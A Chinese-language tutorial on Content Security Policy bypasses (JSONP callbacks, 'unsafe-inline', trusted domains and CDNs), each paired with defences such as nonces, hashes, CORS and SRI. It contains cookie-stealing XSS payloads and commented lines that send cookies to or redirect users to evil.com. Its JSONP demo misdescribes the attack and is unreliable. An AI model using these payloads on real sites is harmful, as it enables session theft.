咳咳,各位靓仔靓女们,今天老司机要带大家开一趟通往CSP绕后花园的快车。咱们不搞虚头巴脑的理论,直接上干货,手把手教你如何利用JSONP、unsafe-inline
和信任域这些看似无害的东西,来搞点“小破坏”。
欢迎来到CSP绕过“从入门到放弃”系列讲座!
第一站:JSONP大冒险——跨域?不存在的!
JSONP(JSON with Padding)这玩意儿,原本是为了解决跨域请求的问题而生的。它的原理很简单:利用<script>
标签可以跨域加载资源的特性,服务器返回一段JavaScript代码,这段代码会调用预先定义好的回调函数,并将数据作为参数传递进去。
听起来很美好对不对?但问题就出在这个回调函数上。如果攻击者能够控制这个回调函数,那就可以执行任意JavaScript代码了。
漏洞利用流程:
- 找到一个存在漏洞的JSONP端点。 这种端点通常允许用户自定义回调函数的名称。
- 构造一个恶意的回调函数。 这个函数会执行你想要的恶意代码,比如窃取Cookie、重定向用户等等。
- 通过
<script>
标签加载JSONP端点,并指定恶意回调函数。
代码演示:
假设有一个JSONP端点:https://example.com/api/getdata?callback=foo
,它可以返回一些数据,并且允许你指定回调函数的名字。
我们先来看看正常的使用方式:
<!DOCTYPE html>
<html>
<head>
<title>正常使用JSONP</title>
</head>
<body>
<script>
function handleData(data) {
console.log("收到数据:", data);
// 这里可以对数据进行处理
document.getElementById("output").textContent = JSON.stringify(data);
}
</script>
<script src="https://example.com/api/getdata?callback=handleData"></script>
<div id="output"></div>
</body>
</html>
这段代码会从 https://example.com/api/getdata?callback=handleData
获取数据,然后调用 handleData
函数来处理数据。
现在,让我们来搞点事情。我们将构造一个恶意的回调函数:
<!DOCTYPE html>
<html>
<head>
<title>JSONP漏洞利用</title>
</head>
<body>
<script>
function maliciousCallback(data) {
alert("你被攻击了!Cookie: " + document.cookie);
// 还可以做更多坏事,比如重定向用户到钓鱼网站
// window.location.href = "https://evil.com/phishing";
}
</script>
<script src="https://example.com/api/getdata?callback=maliciousCallback"></script>
</body>
</html>
这段代码会加载 https://example.com/api/getdata?callback=maliciousCallback
,服务器返回的数据会包裹在 maliciousCallback
函数中执行。由于我们控制了 maliciousCallback
函数的内容,所以就可以执行任意JavaScript代码了。
防御措施:
- 永远不要允许用户自定义回调函数的名字。 应该使用预定义的回调函数,并对返回的数据进行严格的验证。
- 使用CORS(跨域资源共享)代替JSONP。 CORS提供了更安全的跨域请求机制。
- 设置
X-Content-Type-Options: nosniff
响应头。 阻止浏览器将响应解释为JavaScript代码。
第二站:unsafe-inline
的诱惑——放飞自我的代码
CSP的unsafe-inline
指令允许在HTML文档中直接嵌入JavaScript代码(例如,使用<script>
标签或onclick
属性)。这听起来很方便,但同时也打开了XSS攻击的大门。
漏洞利用流程:
- 找到一个使用了
unsafe-inline
指令的网站。 - 找到一个可以注入HTML代码的地方。 这可能是评论区、用户个人资料等等。
- 注入包含恶意JavaScript代码的HTML代码。
代码演示:
假设一个网站的CSP策略是:Content-Security-Policy: default-src 'self'; script-src 'self' 'unsafe-inline';
。这意味着它允许加载同源的JavaScript代码,以及执行内联的JavaScript代码。
现在,我们可以在评论区注入以下代码:
<script>
alert("你被XSS攻击了!Cookie: " + document.cookie);
// 还可以做更多坏事,比如发送用户的敏感信息到攻击者的服务器
// fetch("https://evil.com/collect?cookie=" + document.cookie);
</script>
这段代码会被浏览器执行,弹出包含用户Cookie的警告框。
更隐蔽的方式:利用事件处理函数
<img src="x" onerror="alert('XSS')">
当 src
属性指向的图片加载失败时,onerror
事件处理函数会被触发,执行其中的JavaScript代码。
防御措施:
- 尽量避免使用
unsafe-inline
指令。 如果必须使用,请确保对所有用户输入进行严格的过滤和转义。 - 使用nonce或hash来限制内联脚本的执行。
- Nonce: 在CSP策略中指定一个随机数nonce,然后在
<script>
标签中也使用相同的nonce。只有具有正确nonce的内联脚本才能执行。<meta http-equiv="Content-Security-Policy" content="default-src 'self'; script-src 'self' 'nonce-rAnd0mNumb3r';"> <script nonce="rAnd0mNumb3r"> // 这段代码可以执行 alert("Hello!"); </script> <script> // 这段代码不能执行,因为没有nonce属性 alert("Goodbye!"); </script>
- Hash: 在CSP策略中指定内联脚本的SHA256、SHA384或SHA512哈希值。只有具有匹配哈希值的内联脚本才能执行。
<meta http-equiv="Content-Security-Policy" content="default-src 'self'; script-src 'self' 'sha256-YOUR_SCRIPT_HASH';"> <script> // 计算这段代码的SHA256哈希值,并替换YOUR_SCRIPT_HASH alert("Hello!"); </script>
- Nonce: 在CSP策略中指定一个随机数nonce,然后在
- 使用
Trusted Types API
。 这是一个新的Web API,可以帮助你防止DOM Based XSS攻击。
第三站:信任域的陷阱——信任的代价
CSP允许你指定哪些域名可以加载JavaScript代码。如果你信任了一个存在漏洞的域名,那么攻击者就可以利用这个域名来注入恶意代码。
漏洞利用流程:
- 找到一个被信任的域名,并且这个域名存在漏洞。 比如,它允许用户上传任意文件,或者它使用了过时的JavaScript库,存在已知的安全漏洞。
- 在被信任的域名上部署恶意JavaScript代码。
- 利用被信任的域名来加载恶意代码。
代码演示:
假设一个网站的CSP策略是:Content-Security-Policy: default-src 'self'; script-src 'self' https://trusted.com;
。这意味着它允许加载同源的JavaScript代码,以及从https://trusted.com
加载的JavaScript代码。
现在,假设https://trusted.com
允许用户上传任意文件。攻击者可以上传一个包含恶意JavaScript代码的文件,比如evil.js
:
alert("你被攻击了!Cookie: " + document.cookie);
// 还可以做更多坏事,比如篡改页面内容
// document.body.innerHTML = "<h1>你被黑了!</h1>";
然后,攻击者就可以在目标网站上加载这个文件:
<script src="https://trusted.com/uploads/evil.js"></script>
由于https://trusted.com
是被信任的域名,所以这段代码会被浏览器执行。
更高级的玩法:利用CDN漏洞
如果目标网站信任了一个CDN(内容分发网络),而这个CDN的某个节点被攻破,攻击者就可以利用这个CDN来注入恶意代码。
防御措施:
- 只信任必要的域名。 尽量避免信任第三方域名。
- 定期审查被信任的域名是否存在安全漏洞。
- 使用子资源完整性(SRI)来验证从CDN加载的文件的完整性。 SRI可以确保加载的文件没有被篡改。
<script src="https://example.com/script.js" integrity="sha384-Li9vy3DqF80TXesGjvzpMT3sSp5btiGgpE7m7x6QYigMNNwdc6RSIVlvJeiIOejmi" crossorigin="anonymous"></script>
总结:CSP绕过技术的葵花宝典
技术 | 原理 | 利用方式 | 防御措施 |
---|---|---|---|
JSONP | 利用<script> 标签跨域请求,允许自定义回调函数。 |
控制回调函数,执行恶意JavaScript代码。 | 禁用用户自定义回调函数,使用CORS代替JSONP,设置X-Content-Type-Options: nosniff 。 |
unsafe-inline |
允许在HTML文档中直接嵌入JavaScript代码。 | 注入包含恶意JavaScript代码的HTML代码。 | 尽量避免使用unsafe-inline ,使用nonce或hash,使用Trusted Types API 。 |
信任域 | CSP允许指定哪些域名可以加载JavaScript代码。 | 利用被信任的域名上的漏洞来注入恶意代码。 | 只信任必要的域名,定期审查被信任的域名,使用SRI。 |
CDN | 信任 CDN 的情况下,CDN 可能被攻破,攻击者可以利用这个 CDN 来注入恶意代码。 | CDN 如果被攻破,攻击者可以在 CDN 上部署恶意代码,所有引用此 CDN 的站点都会受到影响 | 定期审查 CDN 的安全性,尽可能的使用 SRI 校验 CDN 资源, 避免使用第三方 CDN, 使用自建 CDN, 并加强安全防护 |
友情提示:
- CSP只是一个防御机制,而不是万能的。它只能减少XSS攻击的风险,但不能完全消除XSS攻击。
- 安全是一个持续的过程,需要不断地学习和实践。
好了,今天的讲座就到这里。希望大家能够学到一些有用的知识,并且在实际工作中加以应用。记住,安全无小事,时刻保持警惕!
(完)